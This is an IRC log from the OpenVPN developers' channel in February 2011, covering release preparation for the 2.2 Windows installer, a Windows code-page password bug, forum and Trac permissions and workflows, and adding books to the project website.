uninstalling old/obsolete OpenVPN versions 02:30 < psha> mattock: and it will grow larger and larger 02:30 <@mattock> psha: yep, it will 02:30 < psha> since if you want to do it properly you have to support _all_ previous version 02:30 <@mattock> it's not yet too bad, but it will get worse 02:30 <@mattock> yes 02:31 < psha> running previous uninstaller looks better solution however i don't know what's going on in windows world 02:31 < Dark-Fx> worse, or better? 02:31 <@mattock> I think it should be possible to locate and run the old uninstaller from the new installer somehow 02:31 <@mattock> so, the user would not have manually uninstall OpenVPN before installing a new version 02:32 < Dark-Fx> mattock: you should be able to as long as the user didn't break things 02:32 <@mattock> yep, I think so too 02:33 < Dark-Fx> All those registry keys and such 02:33 <@mattock> yeah... I think there's a registry key pointing to OpenVPN's install directory 02:33 <@mattock> and uninstall.exe is in $INSTALL_DIR\bin\uninstall.exe 02:33 < Dark-Fx> doesn't it add itself to the windows add/remove programs list? 02:35 < psha> windows definitely lacks good package manager :) 02:36 < psha> mattock: i've consulted debian policy and they call old post-rm (with upgrade keyword) script on upgrade so this way looks correct not only for me :) 02:39 <@mattock> dark-fx: I think it does 02:40 <@mattock> psha: and as hartimer pointed out, building on windows is ridicuously hard - especially if the build system is not even complete (as in my building efforts) 02:40 <@mattock> dark-fx: did you manage to test the openvpn installer on winxp 64-bit? 02:40 <@mattock> or the binaries, rather 02:42 < Dark-Fx> Ah, I got too busy to try to get a tunnel set up earlier 02:42 < psha> mattock: sorry for dumb question but is make so buggy on windows? 02:42 <@mattock> I'm building with visual studio tools -> nmake 02:43 <@mattock> but nmake has worked fine 02:43 -!- dazo_afk is now known as dazo 02:43 < Dark-Fx> preview 4? 02:43 <@mattock> it's just manual installation of dependencies, integration with the old buildsystem, extending the buildsystem, code signing etc 02:43 <@mattock> dark-fx: yes, the latest in http://build.openvpn.net/downloads/releases 02:43 <@vpnHelper> Title: Index of /downloads/releases (at build.openvpn.net) 02:44 <@mattock> found the reason for the "start menu entries not removed in win7 uninstall" 02:44 <@mattock> win7 installs them to a global location, unlike xp 02:44 <@mattock> -> fix 02:44 <@mattock> the last bug afaik 02:44 <@mattock> same issue with 2.2-beta5, though 02:50 * dazo reads scrollback 02:53 < Dark-Fx> mattock: tunnel came up without issue and was passing traffic 02:55 < Dark-Fx> I think I'll go back to sleep now. 4am is definitely too early to be awake for the day 02:56 <@dazo> \o/ 02:57 * dazo begins to finally smell some success for Windows builds ... 02:59 <@mattock> dark-fx: good night! 02:59 <@mattock> this is the issue: http://nsis.sourceforge.net/Shortcuts_removal_fails_on_Windows_Vista 02:59 <@vpnHelper> Title: Shortcuts removal fails on Windows Vista - NSIS (at nsis.sourceforge.net) 02:59 <@mattock> now, given this issue exists in 2.2-beta5 (and all previous versions?)... do we want to fix this now, or in 2.2-release? 03:00 <@mattock> this is not a showstopper, I think, and not a regression 03:00 <@mattock> the nsi installer script would need some work besides this 03:01 <@mattock> e.g. the windows version blacklisting, running the _old_ uninstaller from within new installer (when upgrading) 03:03 <@mattock> dazo: I'm thinking that if we get James to today's meeting, he could sign the installer and all other release files 03:03 <@mattock> otherwise we could have to wait a week (if he's in the non-responsive mode) 03:04 <@dazo> mattock: that sounds good! Have you done anything about the manifest files? If not, we can do that on the completed stable release 03:04 <@mattock> no, I have not... I think that's just fine-tuning, and would require rerun of the smoke tests 03:04 <@dazo> btw ... I'm not blaming you for the 2 months delay ... we all had the impression the python builder would be in a much better shape than what it really was, and this was needed to clean up! 03:05 <@mattock> dazo: yep, that was my impression, too 03:05 <@mattock> and I'm not offended, even if I've been a little embarrased due to the delay 03:06 <@dazo> mattock: the manifest should only influence if the binaries are able to run, not anything else ... so a quick smoketest should be enough though 03:06 <@mattock> as opposed to "lengthy smoketest"? :D 03:06 <@dazo> well, we're all a bit embarrassed by the delay :) But, hey, that's life ... sometimes pandora's box just says "puff" :) 03:07 <@mattock> fortunately this should be a one-time delay... we can call it a migration 03:07 <@dazo> ahh ... smoketest for me is ... does the program execute when I try to do 'openvpn --help'? 03:07 <@mattock> oh, you mean that quick, I see :) 03:07 <@mattock> that should do it 03:07 <@dazo> absolutely! this is a migration pain :) 03:08 <@mattock> ok, I'll check the embedded manifest thingy now 03:08 <@mattock> shall we skip the Win Vista/7 start menu bug for now? 03:08 <@dazo> yeah ... If manifest files are able to influence how tunnels are established ... then Microsoft will be able to scare me a lot 03:08 <@dazo> we can do the start-menu bug for the full release 03:09 <@dazo> it's much more important to get the RC out now ... and the start menu thing is more a annoyance than anything else 03:10 <@mattock> yep, and it can be easily deleted manually (right click) 03:10 <@mattock> btw. manifest files can control the "requested execution level", too 03:10 <@mattock> meaning "run as admin"/"run as normal user" 03:11 <@dazo> start-menu thing is then a 'release note' thing, informing that we're aware of it and will solve it for the full release 03:12 <@dazo> okay, so manifest stuff can influence something ... okay, then we do need to just do a quick "establish tunnel" check 03:17 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 03:20 <@mattock> currently the binaries (openvpn.exe, openvpnserv.exe) don't contain embedded manifests 03:20 <@mattock> I'll fix that 03:27 <@mattock> manifests embedded, looking good... OpenSSL DLLs had embedded manifests already 03:27 <@mattock> all manifests pointing to the msvcr90.dll that's distributed with the installer 03:28 <@mattock> in case you ever need to debug manifest issues, this is the tool: http://weblogs.asp.net/kennykerr/archive/2007/07/10/manifest-view-1-0.aspx 03:28 <@vpnHelper> Title: Manifest View 1.0 - Kenny Kerr (at weblogs.asp.net) 03:31 <@dazo> nice! 03:38 <@mattock> starting smoketesting now 03:38 <@dazo> mattock: btw ... I have some projects going on nowadays, which will require my complete attention until March 6th ... so I'd prefer if today's meeting will be 1 hour max ... and if we could skip meetings on Feb. 17th and March 3rd, that would also be good 03:39 <@mattock> dazo: ok, no probs... I'll try to get James to the meeting at 18:00 UTC sharp 03:39 <@dazo> perfect! 03:40 < psha> dazo: btw it seem that our docs format change is already on finish lane 03:40 < psha> and we've picked asciidoc for that 03:41 <@dazo> psha: that makes sense to me! 03:41 < psha> at least today i've finished cleanup rebase with 47k lines diff :) 03:41 <@dazo> gah 03:46 < psha> so if you'll have questions about formats (or asciidoc) feel free to bug me while memories are fresh :) 03:47 <@dazo> no worries! We'll just put you as the official upstream man page editor ;-) 03:49 <@mattock> smoketests passed 03:49 <@mattock> I'll verify that upgrade from 2.1.4 works... didn't test that yesterday 03:49 <@mattock> then it's as ready for release as it can be 03:51 <@dazo> \o/ \o/ \o/ 03:58 * psha thinks that he need to change nick, email, hostname and hide in the woods 03:58 <@dazo> psha: you can run, but you can't hide ;-) 03:59 <@mattock> upgrade from 2.1.4 worked 03:59 <@dazo> This is a blessed day! 03:59 < psha> dazo: no problem to hide during my summer trips - no people in ~300km radius ;) 04:00 <@dazo> heh 04:00 < psha> except random hunters, gold miners and crazy tourists :) 04:00 <@dazo> lol 04:01 <@dazo> psha: how can you be sure one of these random hunters, gold miners or crazy tourists isn't mattock or me? ;-) 04:02 <@mattock> ok, I think the installer is ready for prime time 04:02 <@mattock> I'll ask James and Andrew to fix them if they got Vista or something running 04:02 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:02 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:03 < psha> dazo: they have not seen computer ;) 04:04 <@dazo> mattock: perfect! 04:04 <@dazo> psha: I see you have hopes .... ;-) 04:12 < psha> dazo: sure :) for example place from one of my trips: http://maps.google.com/?ie=UTF8&ll=57.21775,116.459885&spn=0.359143,0.625534&t=h&z=11 04:12 < psha> note number of cities(1) and villages around ;) 04:15 <@dazo> nah, you're just bragging :-P 04:16 < psha> :) 04:17 * psha gives dazo highest ball on trolling 04:17 < psha> pass your records book 04:17 * dazo throws a trout 04:18 <@mattock> mail sent to james... I think I earn a break now :) 04:18 <@mattock> for my 2 months of forced labour on Windows :P 04:20 < psha> hm, is openvpn ported to hurd? 04:20 < psha> ;) 04:26 <@dazo> mattock: yeah, a 5 min break is well deserved :-P 04:27 <@dazo> psha: I wouldn't be surprised if the majority works ... if there is a compatible tun/tap driver :) 04:27 * dazo wonders when Hurd will really die .... that wouldn't Hurt :-P 04:35 -!- Hartimer [~peixoto@gw.identity.pt] has joined #openvpn-devel 04:35 < Hartimer> hi 04:35 < Hartimer> dazo, did some extra tests on the windows client. the code page used is correct, the problem is the char's hex code from the keyboard to the client 04:36 <@dazo> Hartimer: I'm not sure I understand? We know that OpenVPN received data in CP-437, right? 04:36 < Hartimer> i tried changing windows language and such (which is something that i cannot actually do) and it didnt help 04:37 < Hartimer> dazo, it received that in CP-437 but openvpn is actually using code page 1252 04:37 < Hartimer> so i'm assuming that windows itself is using CP-437 while the program is using the correct one 04:38 <@dazo> gotcha! so even the openvpn client receives data initially "wrong", right? 04:38 < Hartimer> exactly! 04:38 <@dazo> you simply gotta love Windows 04:38 < Hartimer> its not openvpn problem, its a windows problem 04:39 < psha> Hartimer: that's not a excuse ;) 04:39 < Hartimer> psha, what do you mena? 04:39 < Hartimer> *mean 04:39 <@dazo> Computers are like air conditioners, they work great until you open windows 04:40 < psha> Hartimer: just kidding :) 04:40 < Hartimer> LOL dazo 04:40 < Hartimer> psha, kk :) 04:40 < Hartimer> i can't change windows locale/language/whatever 04:40 <@dazo> :) 04:40 < Hartimer> so i really don't know how i'm going to fix this 04:40 < Hartimer> -.- 04:41 <@dazo> Hartimer: when you enter the password ... do you do that via the command line, or via the GUI? 04:41 < Hartimer> tried both, same result 04:41 <@dazo> have you tried building with --enable-password-save ... and storing the username/password a file? 04:42 <@dazo> and ... have you tried the management interface? actually, d12fk might have some ideas ... he's been working on a newer OpenVPN GUI using the management interface 04:42 < Hartimer> due to requirements i can't do it that way :/ 04:42 < Hartimer> management interface? 04:42 <@dazo> I know, it's just to see if we can get around this somehow 04:43 <@dazo> --management  [ip:]port ... if I recall correctly ... then telnet to that IP:port 04:43 <@dazo> you probably need --management-query-passwords in addition 04:43 < Hartimer> so, you're saying to configure/build the client with the --enable-password-save currect? 04:43 <@dazo> but I'm sure d12fk can provide some guidance 04:43 <@dazo> Hartimer: yeah, I do 04:44 < Hartimer> uhm bummer 04:44 < Hartimer> have to dual boot again into windows -.- 04:44 <@dazo> that feature will be enabled by default from 2.2 ... as it's really "trivial" to go around, for those who wants to go around this feature in general 04:47 -!- Hartimer [~peixoto@gw.identity.pt] has quit [Quit: Ex-Chat] 04:47 <+janjust> yo dazo! 04:48 <@dazo> hey, janjust 04:48 <+janjust> dazo, would you know why I cannot post things on the openvpn forums site? 04:48 <+janjust> seems like I need moderator approval for everything :-( 04:49 <@dazo> uhm ... nope, I have no idea .... you shouldn't need such approval :) ecrist, mattock ^^^ 04:50 <@dazo> I don't think I have much privileges in the forum, and I'm only answering a few posts there when asked to ... 04:50 * dazo wonders is webster have moved from mailing list to the forum ... 04:50 <+janjust> same here - if I could get mails when posts are made to the forum I might respond but the way it is - nah 04:51 <@dazo> yeah, I understand 04:51 <+janjust> do you know who 'maikcat' is? does he come here as well? 04:51 <@dazo> maikcat is unknown to me ... 04:52 <@dazo> can't find that nick on this irc server with /whois or /whowas 04:52 <@dazo> uhoh ... I *do* have admin control on the forum 04:53 <+janjust> hehe ... I also saw that I am registered as 'OpenVPN newbie' :) 04:53 <@dazo> lol 04:53 <@dazo> that's based on number of posts, usually 04:53 <+janjust> yeah I guess... still lol 04:54 <+janjust> but if I need moderator approval for every post I will remain a n00b :P 04:54 <@dazo> heh ... I'm looking into it now, to see if I find the right switch on your account :) 05:02 <@dazo> janjust: I just upgraded you to be a moderator, that might improve things 05:02 <+janjust> let me try to post something 05:05 <+janjust> I can now approve my own postings! cool 05:05 <@dazo> not optimal, but better :) 05:05 <@dazo> cool ... my IPv6 address shows up ... which I get via a OpenVPN tunnel :) 05:06 <+janjust> hehe 05:07 <@dazo> I'm running cron2's openvpn version for openwrt on my router ... and openvpn-testing 'allmerged' on my laptop ... I'm at least trying to eat our dogfood :) 05:09 <+janjust> well, I tried running mattock's openvpn2.2 build and failed ;-) ... 05:09 <@dazo> heh ... have you tried the last preview? I think we're going gold very soon, last change is embedded manifest files 05:10 <+janjust> I didn't try it yet , but I should have some time early next week 05:10 <+janjust> my book is going to the printer tomorrow, if all goes well 05:10 <@dazo> cool! 05:10 <@dazo> I've not heard anything else from Packt since their Christmas greeting ... so I presume things have went well then :) 05:11 <+janjust> packt is a weird publisher... first I hear nothing for weeks and then all of a sudden they want to have the book ready by friday 05:12 <@dazo> (we're probably declaring the last preview from mattock as golden at the meeting today, which means I just need to get all his patches to the buildsystem ... repack source packages and we're letting it go public) 05:12 <+janjust> excellent! 05:12 <+janjust> it means I can redo all my recipes using openvpn 2.2 ;-) 05:12 <+janjust> see what new bugs were introduced 05:13 <+janjust> did someone check if 'shaper' is now working again on linux? 05:13 <@dazo> heh 05:13 <@dazo> there's not been happening anything on the 'shaper' code at all ... so that's basically the same as 2.1 05:14 <@dazo> james has been busy adding other features instead, it seems 05:14 <@dazo> and the community seldom uses that feature 05:14 <@dazo> (probably because it doesn't work so well) 05:16 <+janjust> hmmm , me thinks me needs to file some bug reports once me book is out the door :/ 05:16 <@dazo> yeah :) 05:17 <@dazo> psha: will you be able to join the meeting today @ 18:00 UTC ... we will discuss documentation ... and as you've done some work on the man pages ..... hint hint ;-) 05:19 < psha> sure, i'll be around 05:19 <@dazo> thx! 05:19 <@dazo> agenda is here: https://community.openvpn.net/openvpn/wiki/Topics-2011-02-10 05:19 <@vpnHelper> Title: Topics-2011-02-10 – OpenVPN Community (at community.openvpn.net) 05:29 <+janjust> talking about trac and bugs... is someone going through the list regularly, or perhaps after 2.2 is golden? 05:41 <@dazo> I'm doing that from time to time 05:42 <@dazo> but we need to get better at it after 2.2 has been released 05:42 <+janjust> dazo: OK... it's just that I see support-like questions ending up there 05:42 <+janjust> and somebody should confirm a bug before it's accepted (I do not seem to have the rights to do so, BTW) 05:44 * dazo is lacking those grant privileges in Trac 05:44 <@dazo> I'll make sure mattock grants you more privileges in Trac as well 05:49 <+janjust> hehe I'm not sure if I want all of these privileges 05:49 <+janjust> "with great power comes great responsibility" 05:49 <@dazo> heh :) 05:50 <@dazo> responsibility can be defined into three categories ... do good, do bad and do nothing :-P 05:50 <@dazo> only two of them will be considered a success :) 05:51 <+janjust> hehe... sounds a bit like the "involvement vs commitment" issue 05:51 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 05:51 <@dazo> yeah :) 05:51 <+janjust> the difference between involvement and commitment can best be described by a breakfast of ham and eggs. The chicken was involved, the pig was committed 05:51 <@dazo> lol 05:52 <@dazo> the thing is that if we somehow can get confirmed that things are a bug ... that would be a big gain when we're prioritising which bugs need focus for a release 05:54 <+janjust> exactly... I'm going through the list now and already see a few tickets which are plain support tickets 05:54 <@dazo> mattock: https://community.openvpn.net/openvpn/ticket/68 ... is this something you're now getting fixed in 2.2? 05:54 <@vpnHelper> Title: #68 (Windows route add command failed) – OpenVPN Community (at community.openvpn.net) 05:55 <+janjust> for example #38, #81 (fixed in 2.2), #70 05:58 <@dazo> yeah, #38 and #70 is practically the same 05:58 <+janjust> yep 05:59 <+janjust> #80 is also bogus - that is already possible 06:00 <@dazo> I just added "notabug" as a resolution, so feel free to use that one 06:02 <+janjust> hmm I don't see that, all I see is "leave as new" 06:03 <@dazo> huh? hmm ... 06:03 * dazo check #80 06:04 <@dazo> at the very bottom, below 'spam'? 06:06 <+janjust> eh? I don't see a spam section; ticket #80 is now closed but I also do not see it there. which interface are you using? I'm looking at https://community.openvpn.net/openvpn/ticket/68 06:06 <@vpnHelper> Title: #68 (Windows route add command failed) – OpenVPN Community (at community.openvpn.net) 06:07 <@dazo> yeah, as we're actually using a similar build environment for the golden 2.2-RC ... I believe that will be fixed 06:10 <+janjust> at any rate: I think it will be better if bugs need to be moderated&approved first before they end up on the active trac list 06:10 <+janjust> the trac system I use at work is configured to work that way 06:11 <@dazo> ahh, cool! How do you do that? 06:11 <@dazo> I'm keen on fixing this 06:11 <@dazo> my first thought was to use the 'keywords' field, to just add "BUGACK", or something similar 06:12 <@dazo> but if there's something better .... 06:12 <+janjust> hehe I'm not sure - I did not set up the trac system at work 06:12 <+janjust> I will ask though 06:12 <@dazo> thx! 06:12 <@dazo> we might miss some useful plug-ins to tackle that 06:27 <+janjust> dazo: I think it might just be a matter of setting up the right trac workflows 06:27 <+janjust> which states a ticket can have, automatically and operator-induced 06:28 <@dazo> yeah, but some of these workflows are dependent on plug-ins, iirc ... but I don't know the details here, mattock is the one who installed this Trac instance, so I have hope he knows the details :) 06:29 <@mattock> back from my well-earned 5 minute break :) 06:30 <@mattock> janjust: if you want more privileges on Trac, just let me know 06:30 <@mattock> ecrist is "the man" who can help with phpbb... I just use it 06:30 <+janjust> mattock: your last posting here was at 11:18 06:30 <+janjust> is that a finnish 5 minutes ;-) ? 06:30 <@mattock> janjust: actually, it was 12:18 06:31 <+janjust> well 11:18 on my time 06:31 <@mattock> but yes, a little over two hours, including lunch break 06:31 <@mattock> (for the record, I'm not counting all of it as my work time :) 06:31 <+janjust> over here it's now 13:31 06:31 <@mattock> yep, timezones, my bad :) 06:32 <+janjust> but mattock , as for the trac privs: I'm not sure if I need more privileges, it's just that I think it would be better if trac tickets aren't automatically accepted as bugs 06:32 <@mattock> yep, I think that makes sense 06:32 <+janjust> somebody should look at them before accepting them as bugs, or redirect them to the forums page 06:32 <+janjust> or simply replies "RTFM" and close the ticket ;-) 06:32 <@mattock> I think I'll take a look now that 2.2-rc is ready 06:33 <+janjust> mattock: do you have access to the main OpenVPN web page ? 06:33 <@mattock> yep, although I can't publish any changes myself 06:33 <@mattock> I need to ask Frank to publish them 06:33 <+janjust> ah ok, perhaps you could add a link to this brand new OpenVPN book which is about to be published: https://www.packtpub.com/openvpn-2-cookbook/book 06:33 <@vpnHelper> Title: OpenVPN 2 Cookbook: RAW Book & eBook | Packt Publishing Technical & IT Book Store (at www.packtpub.com) 06:34 <@mattock> where to? 06:34 <@mattock> which page, I mean 06:34 <+janjust> on the Books page on the openvpn.net site? 06:35 <+janjust> http://openvpn.net/index.php/open-source/books.html 06:35 <@vpnHelper> Title: Books (at openvpn.net) 06:35 <+janjust> hmmm vpnHelper is getting on my nerves, he has this "clippy" like behaviour 06:35 <@mattock> oh yes, of course... let's see 06:35 <@mattock> regarding trac workflows: http://trac.edgewall.org/wiki/TracWorkflow 06:35 <@vpnHelper> Title: TracWorkflow – The Trac Project (at trac.edgewall.org) 06:38 <+janjust> kewl - I'm even available for sale on amazon.com, I see 8-) 06:38 <@mattock> janjust: do you want to be at the top of the list? 06:38 <@mattock> the list does not follow any obvious logic 06:39 <+janjust> hehe true... errr well I wouldn't mind being on the top of the list; or perhaps the second entry. The bottom entry is old anyway (the 'Beginning Openvn 2.0.9' is the successor to the bottom entry) 06:40 <@mattock> ok, second entry it is 06:40 <+janjust> thx! 06:40 <+janjust> there's also a german-lanuage openvpn book 06:40 <+janjust> (not by me) 06:44 <@mattock> janjust: I can add it there, too, if you got a name/link 06:44 <@mattock> janjust: publish date Feb 2011? 06:44 <+janjust> mattock: I can find the german book only on amazon.com 06:45 <+janjust> make the publish date for my book March 1st, 2011 06:45 <+janjust> you can buy it on Amazon starting march 15th 06:45 <@mattock> ok 06:46 <+janjust> mattock: here we go: http://www.dpunkt.de/buecher/2388/openvpn.html 06:47 <@vpnHelper> Title: dpunkt.verlag | OpenVPN (at www.dpunkt.de) 06:52 <@mattock> ok, added, will add the german book too 06:53 <+janjust> thx; I'm just hoping that the reviews for my book will be better than the ones for Markus book :-S 06:59 <@mattock> ok, both added 07:02 <@mattock> janjust: here's a screenshot of the new books layout: http://build.openvpn.net/downloads/openvpnbook.png 07:02 <+janjust> ah wait, there's a non-RAW version of the book cover out there somewhere 07:02 <+janjust> just a sec 07:03 <+janjust> http://ecx.images-amazon.com/images/I/51SACVeQuTL._SL500_AA300_.jpg 07:03 <+janjust> it does not have the ugly yellow lines over it 07:03 <@mattock> ok, I'll change the image 07:03 <+janjust> thx 07:04 <@mattock> is it ok to link to the RAW page? 07:04 <@mattock> that's where it goes now 07:04 <@mattock> or amazon perhaps? 07:05 <+janjust> that is fine, as far as I understand the link is correct and will be replaced by the "Regular" version once it's available 07:07 <@mattock> ok 07:08 <@mattock> the amazon image has silly white borders because it's a 300x300px square 07:08 <@mattock> but it does not look too bad 07:09 <@mattock> I'll check the Trac workflow issue now 07:15 <+janjust> mattock: otherwise use this picture: http://www.nikhef.nl/~janjust/OpenVPN2Cookbook.jpg 07:15 <+janjust> it's the last draft I received from the publisher 07:15 <@mattock> ok, that's better 07:16 <+janjust> oh wait, that includes the back of the book, I think... 07:17 <+janjust> I've updated the link - sorry for the hassle 07:18 <@mattock> the image looks good now 07:18 <@mattock> no back covers :) 07:18 <@mattock> I'd assume the new books page will be published along with 2.2-rc 07:19 <+janjust> the dates happen to coincide, yes 07:19 <+janjust> although the book does not mention too many things about 2.2, I'm afraid 07:20 <+ecrist> hola 07:20 <+janjust> hola ecrist 07:20 <+ecrist> what am I being accused of today? 07:21 <@dazo> ecrist: of not giving janjust a godly status and access level in phpbb :) 07:21 <+janjust> lol dazo 07:22 <+janjust> I kinda like the fact that I'm registered as an OpenVPN Newbie on the forums.openvpn.net site ;-) 07:23 <+ecrist> he is a moderator... 07:23 <@dazo> I upgraded him today 07:23 <+janjust> am now, but was not this morning 07:23 <+ecrist> oh 07:24 * dazo heads out for some errands, lunch and then some work again ...gee this day will fly away 07:24 < Dark-Fx> what's vpnHelper written in? 07:24 <+ecrist> fwiw, whatever is set as 'default group' is what determines how the users shows when on line 07:24 <+ecrist> so, if you want to appear as a user, we can change it so 'registerd users' is your default group 07:25 <+ecrist> python 07:25 <+ecrist> supybot 07:26 < Dark-Fx> ooh, I haven't tried crashing one of those yet 07:26 -!- dazo is now known as dazo_afk 07:27 <+ecrist> I'm sure it's possible. *shrug* 07:27 <@mattock> dazo et al: could you draft a new workflow for Trac and I can then implement it? 07:30 <+janjust> mattock: good idea, I'm waiting for a response from a subtrac admin that I've asked a similar question. the trac workflows we use there allow you to change the state of a bug before it is accepted 07:31 <+ecrist> on a side note, we have more users in the devel channel these days than the main channel used to have, the forums are extremely active. I'm liking how things are going. :) 07:31 <@mattock> janjust: ok, so "allow you to change the state of a bug before it is accepted" is the essential part 07:32 <@mattock> ecrist: good to hear forum traffic is increasing! 07:32 <+janjust> mattock: actually, it's the ability to accept (or not accept) a bug that would be most helpful 07:33 <+janjust> right now all that is possible is to leave a bug in its current state 07:33 <+janjust> many reported tickets in trac are not bugs, but support requests or failures to read the manual 07:34 <@mattock> janjust: ok, let's digest this some more with others before I go about fixing it :) 07:34 <+janjust> excellent idea ... 07:34 <+ecrist> mattock: we seem to average between 400 and 800 visits per day, mostly during the work week (~400/day on weekends, ~800/day on week days) 07:34 <@mattock> hmm, quite a lot actually 07:35 <@mattock> any statistics from ovpnforum.com days? 07:35 <+ecrist> lemme look to see if I still have it 07:35 <@mattock> can anyone spell misc[...something...] 07:35 <+ecrist> http://www.secure-computing.net/awstats/awstats.pl?config=ovpnforum.com 07:35 <@mattock> it's not miscallenous... 07:35 <@vpnHelper> Title: Statistics for ovpnforum.com (2011-02) - main (at www.secure-computing.net) 07:35 <+ecrist> miscellaneous 07:36 <+ecrist> back with ovpnforum.com, we seemed to have about 100 visits per day 07:37 <@mattock> ecrist: thanks! 07:37 <@mattock> quite an increase 07:37 <+ecrist> yeah, helps to have official forums now 07:39 <+janjust> or perhaps we have more bugs now :P 07:40 <+ecrist> heh 07:41 < Dark-Fx> feature creep 07:45 <+ecrist> is that what you call a stalker with a large nose? 07:49 <+janjust> mattock: our subtrac admin emailed me the workflows they've configured 07:49 <+janjust> don't know if it will work out if I paste it here 07:49 <+janjust> but here goes: 07:49 <+janjust> [ticket-workflow] 07:49 <+janjust> accept = new,assigned,accepted,reopened -> accepted accept.operations = set_owner_to_self accept.permissions = TICKET_MODIFY leave = * -> * leave.default = 1 leave.operations = leave_status reassign = new,assigned,accepted,reopened -> assigned reassign.operations = set_owner reassign.permissions = TICKET_MODIFY reopen = closed -> reopened reopen.operations = del_resolution reopen.permissions = TICKET_CREATE resolve = new,assigne 07:49 <+janjust> d,accepted,reopened -> closed resolve.operations = set_resolution resolve.permissions = TICKET_MODIFY 07:59 <+ecrist> janjust: do you have perms on trac now? 07:59 <+ecrist> or do I need to add them for you? --- Log closed Thu Feb 10 08:01:33 2011 --- Log opened Thu Feb 10 08:01:38 2011 08:01 -!- ecrist [~ecrist@216.17.68.153] has joined #openvpn-devel 08:01 -!- Irssi: #openvpn-devel: Total of 18 nicks [7 ops, 0 halfops, 1 voices, 10 normal] 08:01 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 08:02 * janjust is out. see you next time folks 08:02 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 08:02 -!- Irssi: Join to #openvpn-devel was synced in 49 secs 08:06 <+ecrist> does janjust have the access he needs/wants on trac? 08:07 * ecrist adds it 08:10 < Dark-Fx> wow, that captcha was impossible and I still managed to get it 08:16 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 08:17 < Dark-Fx> We have received a request from 172.29.29.1 for subscription of your... 08:17 < Dark-Fx> Silly sourceforge using RFC1918 addresses 08:18 <@mattock> during Christmas I summarized what had happened in the OpenVPN project during 2010... the results are on this page: https://community.openvpn.net/openvpn/wiki/OpenVPN2010 08:18 <@vpnHelper> Title: OpenVPN2010 – OpenVPN Community (at community.openvpn.net) 08:18 <@mattock> interesting statistics 08:18 <@mattock> and pie-charts (as this was mostly intended for the corporate people :) 08:20 <@mattock> if I had know how much forums traffic had increased, I would have added that to the report, too 08:24 <+ecrist> fwiw, I haven't been updating the irclogs lately, I'll fix that today, though. 08:29 <@mattock> ok, nice! 08:34 < Dark-Fx> oh noes 08:57 <+ecrist> mattock: irc stats and logs are updated 08:57 <+ecrist> Statistics cover Friday 1 Aug 2008 to Friday 11 Feb 2011 08:57 <+ecrist> During this 925-day reporting period a total of 4781 people visited #openvpn 08:59 <+ecrist> http://www.secure-computing.net/logs/openvpn-devel.html 08:59 <@vpnHelper> Title: #openvpn-devel statistics created by ecrist (with a little help from mIRCStats v1.23 :) (at www.secure-computing.net) 08:59 <+ecrist> looking at the graph, you can make a good guess when the meetings are 08:59 <@mattock> lol 09:00 <@mattock> that's what I call a peak 09:00 <+ecrist> times are GMT-6 btw 09:04 < Dark-Fx> oh noes, I'm 19th most active 09:05 < psha> mattock's random quote is great ;) 09:05 <@mattock> psha: what have I been saying ... :) 09:05 <@mattock> oh yeah :) 09:06 <@mattock> story of my emails... oh sorry, life 09:08 < Dark-Fx> ircstats on one of my other servers is so skewed 09:08 < Dark-Fx> people like stealing my nick when I'm on something else 09:08 < Dark-Fx> so the stats server thinks I'm their normal nick too 09:08 <+ecrist> 30-day main channel: http://www.secure-computing.net/logs/openvpn-last30.html 09:08 <@vpnHelper> Title: #openvpn statistics created by ecrist (with a little help from mIRCStats v1.23 :) (at www.secure-computing.net) 09:08 < Dark-Fx> I swear I don't have 20% of the lines spoken :-X 09:09 <+ecrist> all-time main channel: http://www.secure-computing.net/logs/openvpn.html 09:09 <@vpnHelper> Title: #openvpn statistics created with mIRCStats v1.23 by ecrist (at www.secure-computing.net) 09:21 <@mattock> cron2, dazo: it should be possible to get developer accounts to OpenVPN Scan project from here: http://scan.coverity.com/all-projects.html 09:21 <@mattock> for some reason "Sign in" gives this: "Scan administrators are performing maintenance on the selected project." 09:21 <@mattock> this may be true... if not, I got to mail scan-admin at coverity.com 09:51 -!- janjust [~janjust@s5596c956.adsl.wanadoo.nl] has joined #openvpn-devel 09:51 -!- janjust [~janjust@s5596c956.adsl.wanadoo.nl] has quit [Changing host] 09:51 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 09:51 -!- mode/#openvpn-devel [+v janjust] by ChanServ 10:00 <+janjust> mattock: I tested your openvpn 2.2 installer on windows 2000 (grin) 10:00 <+janjust> it installs as long as you don't install the tap-win32 adapter. of course, openvpn refuses to start without the new tap-win32 driver but other than that it worked like a charm on my obsolete PC 10:06 -!- dazo_afk is now known as dazo 10:08 <+ecrist> janjust: you have rights on trac now, btw 10:08 <+janjust> ah , excellent, thx ecrist 10:09 <+ecrist> no problem. 10:30 <@dazo> janjust: you know we've officially removed Windows2000 support? I believe 2.1.3 was the last supported version 10:31 <+janjust> dazo: yeah I know (hence the *grin*) 10:31 <+janjust> I was just wondering if it would work - is there any reason why you *must* have tap-win32 9.7 installed? 10:32 <@dazo> nope, not really ... I believe you need 9.7 or newer on Vista or Win7 10:37 <+ecrist> iirc, there was something to do with the gui that needed the new version, as well 10:37 <+ecrist> but I'm crazy, so ignore most of what I say 10:53 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 10:53 <+janjust> (Back again) 10:54 <+janjust> nope the gui is just existing openvpn-gui-1.03 10:54 <+janjust> I can't think of a reason why 9.7 would be needed 10:54 <+janjust> but the openvpn.exe on Windows 2000 (and I presume WinXP) fail to launch unless tap-win32 adapter v9.7 is installed 10:54 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 10:54 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 10:54 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 10:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:56 <+janjust> I'd say it's cleaner if the 9.7 check is done only on those platforms that require that version (Vista+7) ; do we really want to forcefeed a tap-win32 adapter update down everybody's throat? 10:56 <+janjust> one could argue "Yes", as it will make support for openvpn 2.2 easier 11:00 * janjust sees it is almost feeding time 11:00 * janjust heads for the feeding trough 11:00 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 11:06 